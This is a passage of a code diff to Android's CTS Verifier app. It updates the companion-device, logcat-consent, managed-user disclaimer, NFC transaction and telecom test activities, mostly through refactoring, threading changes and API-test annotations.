+     * and its disappearance hasn't been reported yet.
+     * @param associationId association ID of the device to check.
+     * @return true if device is nearby.
+     */
+    public static boolean isDeviceNearby(int associationId) {
+        return NEARBY_DEVICES.contains(associationId);
     }
 
     @Override
-    public void onDeviceDisappeared(String address) {
-        sDeviceNearBy = false;
-        Toast.makeText(this, "Device disappeared: " + address,
-                Toast.LENGTH_LONG).show();
+    public void onDeviceAppeared(AssociationInfo association) {
+        NEARBY_DEVICES.add(association.getId());
+        String message = "Device appeared: " + association.getDeviceMacAddressAsString();
+        Log.d(LOG_TAG, message);
+        Toast.makeText(this, message, Toast.LENGTH_LONG).show();
     }
 
+    @Override
+    public void onDeviceDisappeared(AssociationInfo association) {
+        NEARBY_DEVICES.remove(association.getId());
+        String message = "Device disappeared: " + association.getDeviceMacAddressAsString();
+        Log.d(LOG_TAG, message);
+        Toast.makeText(this, message, Toast.LENGTH_LONG).show();
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@
     }
 
     /**
+     * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+     */
+    public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+        return isAutomotive(context);
+    }
+
+    /**
      * Checks whether the device supports file transfer.
      */
     public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
index 2fe31d4..ff12bd2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
@@ -22,6 +22,7 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.os.Bundle;
+import android.os.SystemClock;
 import android.util.Log;
 import android.view.View;
 import android.widget.Button;
@@ -36,6 +37,8 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
 
 
 /**
@@ -59,11 +62,14 @@
 
     private static final int NUM_OF_LINES_FG = 10;
     private static final int NUM_OF_LINES_BG = 0;
+    private static final int LOG_ACCESS_INTERVAL = 1000 * 60 * 2;
+    private volatile long mLastLogAccess = 0;
 
     private static Context sContext;
     private static ActivityManager sActivityManager;
 
     private static String sAppPackageName;
+    private static ExecutorService sExecutorService;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -71,6 +77,7 @@
 
         sContext = this;
         sActivityManager = sContext.getSystemService(ActivityManager.class);
+        sExecutorService = Executors.newSingleThreadExecutor();
 
         // Setup the UI.
         setContentView(R.layout.logcat_read_logs);
@@ -105,111 +112,147 @@
      * Responsible for running the logcat in foreground and testing the allow button
      */
     public void runLogcatInForegroundAllowOnlyOnce() {
-        Log.d(TAG, "Inside runLogcatInForeground()");
-        BufferedReader reader = null;
-        try {
-            // Dump the logcat most recent 10 lines before the compile command,
-            // and check if there are logs about compiling the test package.
-            java.lang.Process logcat = new ProcessBuilder(
-                    Arrays.asList("logcat", "-b", "system", "-t",
-                        Integer.toString(NUM_OF_LINES_FG))).start();
-            reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
-            logcat.waitFor();
+        Log.d(TAG, "Inside runLogcatInForegroundAllowOnlyOnce()");
 
-            List<String> logcatOutput = new ArrayList<>();
-            String current;
-            Integer lineCount = 0;
-            while ((current = reader.readLine()) != null) {
-                logcatOutput.add(current);
-                lineCount++;
-            }
-
-            Log.d(TAG, "Logcat system allow line count: " + lineCount);
-            Log.d(TAG, "Logcat system allow output: " + logcatOutput);
-
-            try {
-
-                assertTrue("System log output is null", logcatOutput.size() != 0);
-
-                // Check if the logcatOutput is not null. If logcatOutput is null,
-                // it throws an assertion error
-                assertNotNull(logcatOutput.get(0), "logcat output should not be null");
-
-                boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
-                assertTrue("Allow system log access containe log", allowLog);
-
-                boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
-                assertTrue("Allow system log access count", allowLineCount);
-
-                Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
-                        + lineCount + " larger than: " + allowLineCount);
-
-            } catch (AssertionError e) {
-                fail("User Consent Allow Testing failed");
-            }
-
-        } catch (Exception e) {
-            Log.e(TAG, "User Consent Testing failed");
-        } finally {
-            try {
-                if (reader != null) {
-                    reader.close();
-                }
-            } catch (IOException e) {
-                Log.d(TAG, "Could not close reader: " + e.getMessage());
-            }
+        if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+            String reason = "Please wait for "
+                    + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+                    / 1000) + " seconds before running the test.";
+            Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+            return;
         }
+
+        sExecutorService.execute(new Runnable() {
+
+            public void run() {
+                BufferedReader reader = null;
+                try {
+
+                    // Dump the logcat most recent 10 lines before the compile command,
+                    // and check if there are logs about compiling the test package.
+                    java.lang.Process logcat = new ProcessBuilder(
+                            Arrays.asList("logcat", "-b", "system", "-t",
+                                    Integer.toString(NUM_OF_LINES_FG))).start();
+                    reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+                    logcat.waitFor();
+
+                    List<String> logcatOutput = new ArrayList<>();
+                    String current;
+                    Integer lineCount = 0;
+                    while ((current = reader.readLine()) != null) {
+                        logcatOutput.add(current);
+                        lineCount++;
+                    }
+
+                    Log.d(TAG, "Logcat system allow line count: " + lineCount);
+                    Log.d(TAG, "Logcat system allow output: " + logcatOutput);
+
+                    try {
+
+                        assertTrue("System log output is null", logcatOutput.size() != 0);
+
+                        // Check if the logcatOutput is not null. If logcatOutput is null,
+                        // it throws an assertion error
+                        assertNotNull(logcatOutput.get(0), "logcat output should not be null");
+
+                        boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
+                        assertTrue("Allow system log access containe log", allowLog);
+
+                        boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
+                        assertTrue("Allow system log access count", allowLineCount);
+
+                        Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
+                                + lineCount + " larger than: " + allowLineCount);
+
+                        mLastLogAccess = SystemClock.elapsedRealtime();
+
+                    } catch (AssertionError e) {
+                        fail("User Consent Allow Testing failed");
+                    }
+
+                } catch (Exception e) {
+                    Log.e(TAG, "User Consent Testing failed");
+                } finally {
+                    try {
+                        if (reader != null) {
+                            reader.close();
+                        }
+                    } catch (IOException e) {
+                        Log.d(TAG, "Could not close reader: " + e.getMessage());
+                    }
+                }
+            }
+        });
     }
 
     private void fail(CharSequence reason) {
-        Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
-        Log.e(TAG, reason.toString());
-        setTestResultAndFinish(false);
+        runOnUiThread(() -> {
+            Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+            Log.e(TAG, reason.toString());
+            setTestResultAndFinish(false);
+        });
     }
 
     /**
      * Responsible for running the logcat in foreground and testing the deny button
      */
     public void runLogcatInForegroundDontAllow() {
-        Log.d(TAG, "Inside runLogcatInForeground()");
-        BufferedReader reader = null;
-        try {
-            java.lang.Process logcat = new ProcessBuilder(
-                    Arrays.asList("logcat", "-b", "system", "-t",
-                        Integer.toString(NUM_OF_LINES_FG))).start();
-            logcat.waitFor();
+        Log.d(TAG, "Inside runLogcatInForegroundDontAllow()");
 
-            // Merge several logcat streams, and take the last N lines
-            reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
-            assertNotNull(reader);
-
-            List<String> logcatOutput = new ArrayList<>();
-            String current;
-            int lineCount = 0;
-            while ((current = reader.readLine()) != null) {
-                logcatOutput.add(current);
-                lineCount++;
-            }
-
-            Log.d(TAG, "Logcat system deny line count:" + lineCount);
-
-            try {
-                assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
-            }  catch (AssertionError e) {
-                fail("User Consent Deny Testing failed");
-            }
-
-        } catch (Exception e) {
-            Log.e(TAG, "User Consent Testing failed");
-        } finally {
-            try {
-                if (reader != null) {
-                    reader.close();
-                }
-            } catch (IOException e) {
-                Log.d(TAG, "Could not close reader: " + e.getMessage());
-            }
+        if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+            String reason = "Please wait for "
+                    + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+                    / 1000) + " seconds before running the test.";
+            Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+            return;
         }
+
+        sExecutorService.execute(new Runnable() {
+
+            public void run() {
+                BufferedReader reader = null;
+                try {
+                    java.lang.Process logcat = new ProcessBuilder(
+                            Arrays.asList("logcat", "-b", "system", "-t",
+                                    Integer.toString(NUM_OF_LINES_FG))).start();
+                    logcat.waitFor();
+
+                    // Merge several logcat streams, and take the last N lines
+                    reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+                    assertNotNull(reader);
+
+                    List<String> logcatOutput = new ArrayList<>();
+                    String current;
+                    int lineCount = 0;
+                    while ((current = reader.readLine()) != null) {
+                        logcatOutput.add(current);
+                        lineCount++;
+                    }
+
+                    Log.d(TAG, "Logcat system deny line count:" + lineCount);
+
+                    mLastLogAccess = SystemClock.elapsedRealtime();
+
+                    try {
+                        assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
+                    } catch (AssertionError e) {
+                        fail("User Consent Deny Testing failed");
+                    }
+
+                } catch (Exception e) {
+                    Log.e(TAG, "User Consent Testing failed");
+                } finally {
+                    try {
+                        if (reader != null) {
+                            reader.close();
+                        }
+                    } catch (IOException e) {
+                        Log.d(TAG, "Could not close reader: " + e.getMessage());
+                    }
+                }
+            }
+        });
+
     }
 
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 5428da5..5706610 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -135,6 +135,7 @@
     public static final String COMMAND_SET_WIFI_SECURITY_LEVEL = "set-wifi-security-level";
     public static final String COMMAND_SET_SSID_ALLOWLIST = "set-ssid-allowlist";
     public static final String COMMAND_SET_SSID_DENYLIST = "set-ssid-denylist";
+    public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
 
     public static final String EXTRA_USER_RESTRICTION =
             "com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 5bdb97c..cdca014 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -267,15 +267,17 @@
                     new ButtonInfo[] {
                             new ButtonInfo(
                                     R.string.device_owner_user_restriction_set,
-                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                            UserManager.DISALLOW_ADD_WIFI_CONFIG, true)),
+                                    CommandReceiverActivity
+                                            .createSetDeviceOwnerUserRestrictionIntent(
+                                                    UserManager.DISALLOW_ADD_WIFI_CONFIG, true)),
                             new ButtonInfo(
                                     R.string.device_owner_settings_go,
                                     new Intent(Settings.ACTION_WIFI_SETTINGS)),
                             new ButtonInfo(
                                     R.string.device_owner_user_restriction_unset,
-                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                            UserManager.DISALLOW_ADD_WIFI_CONFIG, false))
+                                    CommandReceiverActivity
+                                            .createSetDeviceOwnerUserRestrictionIntent(
+                                                    UserManager.DISALLOW_ADD_WIFI_CONFIG, false))
                     }));
 
             // WIFI_SECURITY_LEVEL_RESTRICTION
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277..8d2fe90 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@
     private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
     private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
     private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+    private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        // Check managed user's new user disclaimer
+        if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+            adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+                    R.string.check_new_user_disclaimer,
+                    R.string.check_new_user_disclaimer_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_settings_go,
+                                    new Intent(Settings.ACTION_USER_SETTINGS)),
+                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                    createSetOrganizationNameIntent())}));
+        }
+
         adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
                 R.string.managed_user_check_managed_user_test,
                 new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@
         adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
                 R.string.device_profile_owner_policy_transparency_test,
                 policyTransparencyTestIntent));
-
     }
 
-
     static TestListItem createTestItem(Activity activity, String id, int titleRes,
             Intent intent) {
         intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,12 @@
         // general test for that. TODO: add a test API to do a real check for status bar support.
         return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
+
+    private Intent createSetOrganizationNameIntent() {
+        return new Intent(this, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
+                .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 795028e..e57d620 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -16,31 +16,15 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.DialogInterface;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Bundle;
-import android.util.Log;
 import android.widget.TextView;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-
 import com.android.cts.verifier.nfc.hce.HceUtils;
 
 public class UiccTransactionEvent1EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
     private void initProcess() {
 
         Bundle bundle = getIntent().getExtras();
-        if(bundle != null){
+        if (bundle != null && getIntent().getAction() != null) {
             byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
-            if(transactionData != null){
+            if (transactionData != null) {
                 runOnUiThread(new Runnable() {
                     @Override
                     public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 34a418b..3f914c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -16,31 +16,15 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.DialogInterface;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Bundle;
-import android.util.Log;
 import android.widget.TextView;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-
 import com.android.cts.verifier.nfc.hce.HceUtils;
 
 public class UiccTransactionEvent2EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
 
     private void initProcess() {
         Bundle bundle = getIntent().getExtras();
-        if(bundle != null){
+        if (bundle != null && getIntent().getAction() != null) {
             byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
-            if(transactionData != null){
+            if (transactionData != null) {
                 runOnUiThread(new Runnable() {
                     @Override
                     public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index 6055ac4..09c13b8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -16,31 +16,15 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.DialogInterface;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Bundle;
-import android.util.Log;
 import android.widget.TextView;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-
 import com.android.cts.verifier.nfc.hce.HceUtils;
 
 public class UiccTransactionEvent3EmulatorActivity extends PassFailButtons.Activity {
@@ -105,9 +89,9 @@
 
     private void initProcess() {
         Bundle bundle = getIntent().getExtras();
-        if(bundle != null){
+        if (bundle != null && getIntent().getAction() != null) {
             byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
-            if(transactionData != null){
+            if (transactionData != null) {
                 runOnUiThread(new Runnable() {
                     @Override
                     public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 54df8b7..911189e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -1589,6 +1589,7 @@
                     .setContentTitle("ConversationOrderingTest")
                     .setContentText(mTag1)
                     .setSmallIcon(R.drawable.ic_stat_alice)
+                    .setGroup("conversations")
                     .setShortcutId(SHARE_SHORTCUT_ID)
                     .setStyle(new Notification.MessagingStyle(person)
                             .setConversationTitle("Bubble Chat")
@@ -1606,6 +1607,7 @@
                     .setContentTitle("Non-Person Notification")
                     .setContentText(mTag1)
                     .setSmallIcon(R.drawable.ic_stat_alice)
+                    .setGroup("non-conversation")
                     .build();
             mNm.notify(mTag2, mId2, n2);
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
index b3622d6..53034a1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
@@ -26,6 +26,7 @@
 import android.telecom.VideoProfile;
 import android.util.ArraySet;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.cts.verifier.R;
 
 import java.util.Set;
@@ -36,6 +37,7 @@
  * An implementation of the {@link android.telecom.Connection} class used by the
  * {@link CtsConnectionService}.
  */
+@ApiTest(apis={"android.Telecom.Connection"})
 public class CtsConnection extends Connection {
     /**
      * Listener used to inform the CtsVerifier app of changes to a connection.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
index 21cf6ce..9121961 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
@@ -24,6 +24,8 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -32,6 +34,7 @@
 /**
  * CTS Verifier ConnectionService implementation.
  */
+@ApiTest(apis={"android.telecom.ConnectionService"})
 public class CtsConnectionService extends ConnectionService {
     static final int TIMEOUT_MILLIS = 10000;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java
index 1e472a4..07cd4c3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java
@@ -18,6 +18,9 @@
 
 import android.telecom.Call;
 
+import com.android.compatibility.common.util.ApiTest;
+
+@ApiTest(apis={"android.telecom.ConnectionService"})
 public class CtsIncomingCall {
     private static final CtsIncomingCall INSTANCE = new CtsIncomingCall();
     private Call mCall;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java
index e9c4f44..7d71eb3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java
@@ -7,11 +7,14 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@ApiTest(apis={"android.telecom.ConnectionService"})
 public class CtsSelfManagedConnectionService extends ConnectionService {
     static final int TIMEOUT_MILLIS = 10000;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java
index 298eae0..b68b748 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java
@@ -26,8 +26,10 @@
 import android.widget.Button;
 import android.widget.TextView;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.cts.verifier.R;
 
+@ApiTest(apis={"android.telecom.InCallService"})
 public class CtsVerifierInCallUi extends Activity {
     TextView mCallNumber;
     Button mButton;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
index 2b7201a..acf1fc3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
@@ -22,6 +22,8 @@
 import android.widget.Button;
 import android.widget.ImageView;
 
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -29,6 +31,8 @@
  * Tests that a new {@link android.telecom.ConnectionService} be added and its associated
  * {@link android.telecom.PhoneAccount} enabled using the calling accounts settings screen.
  */
+@ApiTest(apis={"android.telecom.ConnectionService", "android.telecom.PhoneAccount"})
+@CddTest(requirement="3.2.3.5/C-2-3")
 public class EnablePhoneAccountTestActivity extends PassFailButtons.Activity {
 
     private Button mRegisterPhoneAccount;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
index f17c9ee..d6769f0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
@@ -29,6 +29,8 @@
 import android.widget.Button;
 import android.widget.ImageView;
 
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -38,6 +40,8 @@
  * Tests that an incoming call made from an enabled ConnectionService will ring the phone and be
  * able to be answered.
  */
+@ApiTest(apis={"android.telecom.ConnectionService"})
+@CddTest(requirement="7.4.1.2/C-1-1")
 public class IncomingCallTestActivity extends PassFailButtons.Activity {
     private static final String TAG = "TelecomIncomingCall";
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
index 9fc0381..6e75682 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
@@ -27,6 +27,8 @@
 import android.widget.Button;
 import android.widget.ImageView;
 
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -36,6 +38,8 @@
  * Tests that an outgoing call made from the default dialer on the system is able to connect to
  * the CtsConnectionService.
  */
+@ApiTest(apis={"android.telecom.ConnectionService"})
+@CddTest(requirement="7.4.1.2/C-1-1")
 public class OutgoingCallTestActivity extends PassFailButtons.Activity {
     private final static String TAG = "TelecomOutgoingCall";
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
index 7b8d04e..73cbb39 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
@@ -24,11 +24,13 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.cts.verifier.PassFailButtons;
 
 /**
  * Utilities class for dealing with the Telecom CTS Verifier PhoneAccounts.
  */
+@ApiTest(apis={"android.Telecom.PhoneAccount"})
 public class PhoneAccountUtils {
     public static final String TEST_PHONE_ACCOUNT_ID = "test";
     public static final String TEST_PHONE_ACCOUNT_LABEL = "CTS Verifier Test";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
index e273616..d482ac0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
@@ -28,6 +28,8 @@
 import android.widget.Button;
 import android.widget.ImageView;
 
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -37,6 +39,8 @@
